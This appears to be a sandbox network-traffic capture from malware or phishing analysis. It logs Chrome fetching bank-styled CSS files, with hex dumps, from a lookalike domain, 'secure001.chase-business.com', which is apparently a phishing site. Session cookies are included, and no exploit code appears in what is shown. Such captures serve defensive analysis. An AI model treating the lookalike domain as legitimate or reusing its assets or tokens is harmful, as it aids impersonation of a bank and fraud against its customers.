2024-12-20 00:21:48 UTC	844	OUT	GET /content/css/blue-ui.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:48 UTC	275	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:21:34 GMT ETag: "7c902-61043a0080f80" Accept-Ranges: bytes Content-Length: 510210 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:21:48 UTC	16384	IN	Data Raw: 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 31 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6e 61 76 2c 73 65 63 Data Ascii: /! normalize.css v3.0.1 \| MIT License \| git.io/normalize /*{box-sizing:border-box}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,sec
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 30 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 6a 70 75 69 2e 62 75 74 74 6f 6e 3a 64 69 73 61 62 6c 65 64 20 2e 6c 61 62 65 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 6a 70 75 69 2e 62 75 74 74 6f 6e 2e 74 65 72 74 69 61 72 79 20 2e 6c 61 62 65 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 3b 74 65 78 74 2d 64 65 Data Ascii: 0;color:#fff;letter-spacing:0;text-decoration:none}.jpui.button:disabled .label{font-size:1rem;font-weight:400;color:#ccc;letter-spacing:0;text-decoration:none}.jpui.button.tertiary .label{font-size:1rem;font-weight:400;color:#666;letter-spacing:0;text-de
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 65 72 72 6f 72 3a 68 6f 76 65 72 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 65 72 72 6f 72 3a 6c 69 6e 6b 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 65 72 72 6f 72 3a 76 69 73 69 74 65 64 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 69 6e 66 6f 3a 61 63 74 69 76 65 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 69 6e 66 6f 3a 68 6f 76 65 72 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 69 6e 66 6f 3a 6c 69 6e 6b 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 69 6e 66 6f 3a 76 69 73 69 74 65 64 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 73 75 63 63 65 73 73 3a 61 63 74 69 76 65 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 73 75 63 63 65 73 73 3a 68 6f 76 65 72 2c 2e 6a 70 75 69 2e 6c 61 62 65 6c 2e 73 75 63 63 65 73 73 3a 6c 69 6e 6b 2c 2e 6a 70 75 69 2e 6c 61 62 65 Data Ascii: .jpui.label.error:hover,.jpui.label.error:link,.jpui.label.error:visited,.jpui.label.info:active,.jpui.label.info:hover,.jpui.label.info:link,.jpui.label.info:visited,.jpui.label.success:active,.jpui.label.success:hover,.jpui.label.success:link,.jpui.labe
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 64 72 6f 70 64 6f 77 6e 2e 64 61 72 6b 20 2e 6f 70 74 69 6f 6e 2e 64 72 6f 70 64 6f 77 6e 2d 6f 70 74 69 6f 6e 20 2e 70 72 69 6d 61 72 79 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 7d 2e 6a 70 75 69 2e 64 72 6f 70 64 6f 77 6e 2e 64 61 72 6b 20 2e 6f 70 74 69 6f 6e 20 2e 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 6a 70 75 69 2e 64 72 6f 70 64 6f 77 6e 2e 64 61 72 6b 20 2e 6f 70 74 69 6f 6e 20 2e Data Ascii: dropdown.dark .option.dropdown-option .primary{font-size:1rem}}.jpui.dropdown.dark .option .primary:active{font-size:.875rem;font-weight:400;color:#fff;letter-spacing:0;text-decoration:none}@media screen and (min-width:768px){.jpui.dropdown.dark .option .
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 36 36 37 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 73 68 2d 34 7b 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 33 33 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 73 68 2d 33 7b 6c 65 66 74 3a 32 35 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 73 68 2d 32 7b 6c 65 66 74 3a 31 36 2e 36 36 36 36 36 36 36 37 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 73 68 2d 31 7b 6c 65 66 74 3a 38 2e 33 33 33 33 33 33 33 33 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 70 75 73 68 2d 30 7b 6c 65 66 74 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a Data Ascii: left:41.66666667%!important}.col-sm-push-4{left:33.33333333%!important}.col-sm-push-3{left:25%!important}.col-sm-push-2{left:16.66666667%!important}.col-sm-push-1{left:8.33333333%!important}.col-sm-push-0{left:auto!important}.col-sm-offset-12{margin-left:
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 65 3e 61 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6a 70 75 69 2e 61 6c 65 72 74 2e 69 6e 66 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 32 36 62 63 35 7d 2e 6a 70 75 69 2e 61 6c 65 72 74 2e 69 6e 66 6f 2e 69 6e 76 65 72 74 65 64 7b 62 6f 72 64 65 72 3a 2e 30 36 32 35 72 65 6d 20 73 6f 6c 69 64 20 23 31 32 36 62 63 35 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 31 32 36 62 63 35 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6a 70 75 69 2e 61 6c 65 72 74 2e 73 75 63 63 65 73 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 32 38 38 34 32 7d 2e 6a 70 75 69 2e 61 6c 65 72 74 2e 73 75 63 63 65 73 73 2e 69 6e 76 65 72 74 65 64 7b 62 6f 72 64 65 72 3a 2e 30 Data Ascii: e>a{text-decoration:underline!important}.jpui.alert.info{background-color:#126bc5}.jpui.alert.info.inverted{border:.0625rem solid #126bc5!important;color:#126bc5!important}.jpui.alert.success{background-color:#128842}.jpui.alert.success.inverted{border:.0
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 6e 2d 67 61 6c 6c 65 72 79 2d 69 6d 67 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 61 75 74 6f 20 31 30 30 25 7d 2e 6a 70 75 69 2e 63 61 72 6f 75 73 65 6c 20 2e 69 6d 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6d 61 69 6e 2d 67 61 6c 6c 65 72 79 2d 61 6c 74 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 32 3b 66 6f 6e Data Ascii: n-gallery-img{display:block;margin:0 auto;max-width:100%;height:100%;background-repeat:no-repeat;background-size:auto 100%}.jpui.carousel .image-container .main-gallery-alttext{background-color:transparent;color:transparent;position:absolute;z-index:2;fon
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 64 6f 77 3a 30 20 30 20 30 20 36 2e 32 35 72 65 6d 20 23 66 66 66 20 69 6e 73 65 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e 6a 70 75 69 2e 64 61 74 65 70 69 63 6b 65 72 20 74 61 62 6c 65 2e 63 61 6c 65 6e 64 61 72 20 74 62 6f 64 79 20 74 72 20 74 64 2e 63 61 6c 65 6e 64 61 72 63 65 6c 6c 2e 69 6e 76 61 6c 69 64 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 2e 35 72 65 6d 7d 7d 2e 6a 70 75 69 2e 64 61 74 65 70 69 63 6b 65 72 20 74 61 62 6c 65 2e 63 61 6c 65 6e 64 61 72 20 74 62 6f 64 79 20 74 72 20 74 64 2e 63 61 6c 65 6e 64 61 72 63 65 6c 6c 2e 74 6f 64 61 79 7b 63 6f 6c 6f 72 3a 23 34 32 34 31 34 33 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 Data Ascii: dow:0 0 0 6.25rem #fff inset;border-radius:50%}@media (max-width:767px){.jpui.datepicker table.calendar tbody tr td.calendarcell.invalid:hover{border-width:.5rem}}.jpui.datepicker table.calendar tbody tr td.calendarcell.today{color:#424143;border-radius:5
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 6f 6e 74 61 69 6e 65 72 2d 2d 6d 61 78 2d 68 65 69 67 68 74 3e 2e 6c 69 73 74 3a 6e 6f 74 28 2e 6c 69 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 74 6f 75 63 68 2d 73 63 72 65 65 6e 29 3e 2e 67 72 6f 75 70 2d 63 6f 6e 74 61 69 6e 65 72 2e 67 72 6f 75 70 4f 70 65 6e 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 2e 6a 70 75 69 2e 64 72 6f 70 64 6f 77 6e 2e 73 68 6f 77 20 2e 6c 69 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 6d 61 78 2d 68 65 69 67 68 74 3e 2e 6c 69 73 74 3a 6e 6f 74 28 2e 6c 69 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 74 6f 75 63 68 2d 73 63 72 65 65 6e 29 20 2e 67 72 6f 75 70 2d 63 6f 6e 74 61 69 6e 65 72 3e 2e 67 72 6f 75 70 2d 74 69 74 6c 65 2c 2e 6a 70 75 69 2e 64 72 6f 70 64 6f 77 6e 2e 73 68 6f 77 20 2e 6c 69 73 74 2d 63 6f 6e 74 61 69 6e 65 72 Data Ascii: ontainer--max-height>.list:not(.list-container--touch-screen)>.group-container.groupOpen{height:auto}.jpui.dropdown.show .list-container--max-height>.list:not(.list-container--touch-screen) .group-container>.group-title,.jpui.dropdown.show .list-container
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 74 2d 74 61 62 6c 65 20 2e 68 65 61 64 65 72 2d 72 6f 77 20 2e 63 65 6c 6c 7b 63 6f 6c 6f 72 3a 23 34 31 34 30 34 32 7d 2e 6a 70 75 69 2e 63 68 61 72 74 20 2e 70 69 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 61 62 6c 65 2e 67 72 6f 75 70 65 64 2d 70 69 65 2d 64 6f 6e 75 74 20 2e 63 68 61 72 74 2d 74 61 62 6c 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 29 20 2e 63 61 70 74 69 6f 6e 2d 68 65 61 64 65 72 7b 74 6f 70 3a 31 2e 33 37 35 72 65 6d 7d 2e 6a 70 75 69 2e 63 68 61 72 74 20 2e 70 69 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 61 62 6c 65 2e 67 72 6f 75 70 65 64 2d 70 69 65 2d 64 6f 6e 75 74 20 2e 63 68 61 72 74 2d 74 61 62 6c 65 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 20 2e 63 61 70 74 69 6f 6e 2d 68 65 61 64 65 72 7b 74 6f 70 3a 31 2e Data Ascii: t-table .header-row .cell{color:#414042}.jpui.chart .pie-container .table.grouped-pie-donut .chart-table:not(:first-of-type) .caption-header{top:1.375rem}.jpui.chart .pie-container .table.grouped-pie-donut .chart-table:first-of-type .caption-header{top:1.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49842	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:48 UTC	842	OUT	GET /content/css/logon.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:48 UTC	275	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 16:31:22 GMT ETag: "27bce-61be1a9492a80" Accept-Ranges: bytes Content-Length: 162766 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:21:48 UTC	16384	IN	Data Raw: 2e 62 6f 74 74 6f 6d 53 68 65 65 74 43 6f 6e 74 61 69 6e 65 72 2c 2e 62 6f 74 74 6f 6d 53 68 65 65 74 48 65 61 64 65 72 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 23 66 6f 72 67 6f 74 2d 70 61 73 73 77 6f 72 64 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 70 61 73 73 77 6f 72 64 2d 72 65 73 65 74 2d 68 65 61 64 65 72 2d 6c 61 62 65 6c 2c 23 73 65 72 76 69 63 65 45 72 72 6f 72 44 69 61 6c 6f 67 2e 6a 70 75 69 2e 6d 6f 64 61 6c 20 2e 73 69 6e 67 6c 65 2d 62 75 74 74 6f 6e 2c 23 73 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 44 69 61 6c 6f 67 2e 6a 70 75 69 2e 6d 6f 64 61 6c 20 2e 73 69 6e 67 6c 65 2d 62 75 74 74 6f 6e 2c 23 74 72 61 6e 73 61 63 74 69 6f 6e 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 2e 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 2d 62 75 74 74 6f 6e Data Ascii: .bottomSheetContainer,.bottomSheetHeader{outline-style:none}#forgot-password-container .password-reset-header-label,#serviceErrorDialog.jpui.modal .single-button,#sessionTimeoutDialog.jpui.modal .single-button,#transactionConfirmation .confirmation-button
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 65 72 41 75 74 68 20 23 73 69 6d 70 6c 65 72 2d 61 75 74 68 20 2e 6a 70 75 69 2e 70 61 6e 65 6c 2e 70 72 69 6d 61 72 79 20 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 6f 64 79 20 2e 73 69 6d 70 6c 65 72 41 75 74 68 2d 32 46 41 2d 63 61 6e 63 65 6c 7b 62 6f 74 74 6f 6d 3a 2d 35 72 65 6d 3b 72 69 67 68 74 3a 2e 35 72 65 6d 7d 2e 6c 6f 67 6f 6e 2d 73 69 6d 70 6c 65 72 41 75 74 68 20 23 73 69 6d 70 6c 65 72 2d 61 75 74 68 20 2e 6a 70 75 69 2e 70 61 6e 65 6c 2e 70 72 69 6d 61 72 79 20 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 6f 64 79 20 2e 72 65 63 74 61 6e 67 6c 65 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 6c 6f 67 6f 6e 2d 73 69 6d 70 6c 65 72 41 75 74 68 20 23 73 69 6d 70 6c 65 72 2d 61 75 74 Data Ascii: erAuth #simpler-auth .jpui.panel.primary .content-container .body .simplerAuth-2FA-cancel{bottom:-5rem;right:.5rem}.logon-simplerAuth #simpler-auth .jpui.panel.primary .content-container .body .rectangles{margin-bottom:12px}.logon-simplerAuth #simpler-aut
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 32 34 25 32 30 37 2e 31 39 39 39 35 56 34 32 2e 34 38 43 33 30 2e 36 25 32 30 33 39 2e 31 38 25 32 30 33 35 2e 37 25 32 30 33 32 2e 37 35 34 25 32 30 33 37 2e 39 31 37 25 32 30 32 34 2e 38 34 43 33 38 2e 37 31 38 25 32 30 32 31 2e 39 36 38 36 25 32 30 33 39 2e 31 32 31 37 25 32 30 31 39 2e 30 30 31 25 32 30 33 39 2e 31 31 37 25 32 30 31 36 2e 30 32 4c 32 34 25 32 30 37 2e 31 39 39 39 35 5a 25 32 32 25 32 30 66 69 6c 6c 25 33 44 25 32 32 25 32 33 30 30 35 65 62 38 25 32 32 25 32 46 25 33 45 25 30 41 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 32 34 25 32 30 33 37 2e 36 32 35 39 4c 32 33 2e 35 34 34 25 32 30 33 37 2e 33 32 35 39 43 31 37 2e 38 36 35 25 32 30 33 33 2e 34 34 36 39 25 32 30 31 34 2e Data Ascii: 3Cpath%20d%3D%22M24%207.19995V42.48C30.6%2039.18%2035.7%2032.754%2037.917%2024.84C38.718%2021.9686%2039.1217%2019.001%2039.117%2016.02L24%207.19995Z%22%20fill%3D%22%23005eb8%22%2F%3E%0A%3Cpath%20d%3D%22M24%2037.6259L23.544%2037.3259C17.865%2033.4469%2014.
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 35 65 6d 7d 2e 6c 6f 67 6f 6e 20 2e 62 75 74 74 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 2c 2e 6c 6f 67 6f 6e 20 2e 77 6f 72 6b 66 6c 6f 77 2d 62 75 74 74 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 2c 2e 6d 73 64 20 2e 62 75 74 74 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 2c 2e 6d 73 64 20 2e 77 6f 72 6b 66 6c 6f 77 2d 62 75 74 74 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 7b 6d 69 6e 2d 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 72 67 69 6e 3a 2e 32 35 65 6d 20 30 7d 2e 73 77 69 70 65 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 Data Ascii: 5em}.logon .button-container .button,.logon .workflow-button-container .button,.msd .button-container .button,.msd .workflow-button-container .button{min-width:inherit;margin:.25em 0}.swipe-container{position:absolute;overflow:hidden;width:100%;height:100
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 75 62 2e 73 69 6d 70 6c 65 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 64 20 61 2c 2e 73 74 75 62 2e 73 69 6d 70 6c 65 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 64 20 61 3a 61 63 74 69 76 65 2c 2e 73 74 75 62 2e 73 69 6d 70 6c 65 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 64 20 61 3a 68 6f 76 65 72 2c 2e 73 74 75 62 2e 73 69 6d 70 6c 65 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 64 20 61 3a 76 69 73 69 74 65 64 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 63 6f 6c 6f 72 3a 23 31 32 36 62 63 35 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 73 74 75 62 2e 66 6f 72 6d 2e 74 61 62 6c 65 3e 74 Data Ascii: ub.simple.table>tbody>tr>td a,.stub.simple.table>tbody>tr>td a:active,.stub.simple.table>tbody>tr>td a:hover,.stub.simple.table>tbody>tr>td a:visited{font-size:.8125rem;font-weight:400;color:#126bc5;letter-spacing:0;text-decoration:none}.stub.form.table>t
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 69 6e 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 62 6c 6f 63 6b 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 66 6f 6f 74 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 66 6f 6f 74 6e 6f 74 65 73 20 61 2c 23 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 70 75 62 6c 69 63 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 62 6c 6f 63 6b 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 66 6f 6f 74 65 72 20 2e 70 72 69 76 61 63 79 2d 70 72 65 66 65 72 65 6e 63 65 73 2d 66 6f 6f 74 6e 6f 74 65 73 20 61 3a 61 63 74 69 76 65 2c 23 70 72 69 76 61 63 79 2d Data Ascii: iner .privacy-preferences-block-container .privacy-preferences-footer .privacy-preferences-footnotes a,#privacy-preferences-public-container .privacy-preferences-block-container .privacy-preferences-footer .privacy-preferences-footnotes a:active,#privacy-
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 6d 64 73 2d 63 6f 6c 2d 61 74 2d 35 37 36 2d 31 30 7b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 6d 64 73 2d 63 6f 6c 2d 61 74 2d 35 37 36 2d 31 31 7b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 36 36 36 36 37 25 7d 2e 6d 64 73 2d 63 6f 6c 2d 61 74 2d 35 37 36 2d 31 32 7b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 64 73 2d 6f 66 66 73 65 74 2d 61 74 2d 35 37 36 2d 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 6d 64 73 2d 6f 66 66 73 65 74 2d 61 74 2d 35 37 36 Data Ascii: 75%;max-width:75%}.mds-col-at-576-10{flex:0 0 83.3333333333%;max-width:83.3333333333%}.mds-col-at-576-11{flex:0 0 91.6666666667%;max-width:91.6666666667%}.mds-col-at-576-12{flex:0 0 100%;max-width:100%}.mds-offset-at-576-0{margin-left:0}.mds-offset-at-576
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 6d 62 2d 38 2c 2e 6d 64 73 2d 6d 79 2d 38 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 2d 37 7b 70 61 64 64 69 6e 67 3a 34 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 6c 2d 38 2c 2e 6d 64 73 2d 70 78 2d 38 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 36 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 72 2d 38 2c 2e 6d 64 73 2d 70 78 2d 38 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 36 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 74 2d 38 2c 2e 6d 64 73 2d 70 79 2d 38 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 36 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 62 2d 38 2c 2e 6d 64 73 2d 70 79 2d 38 Data Ascii: 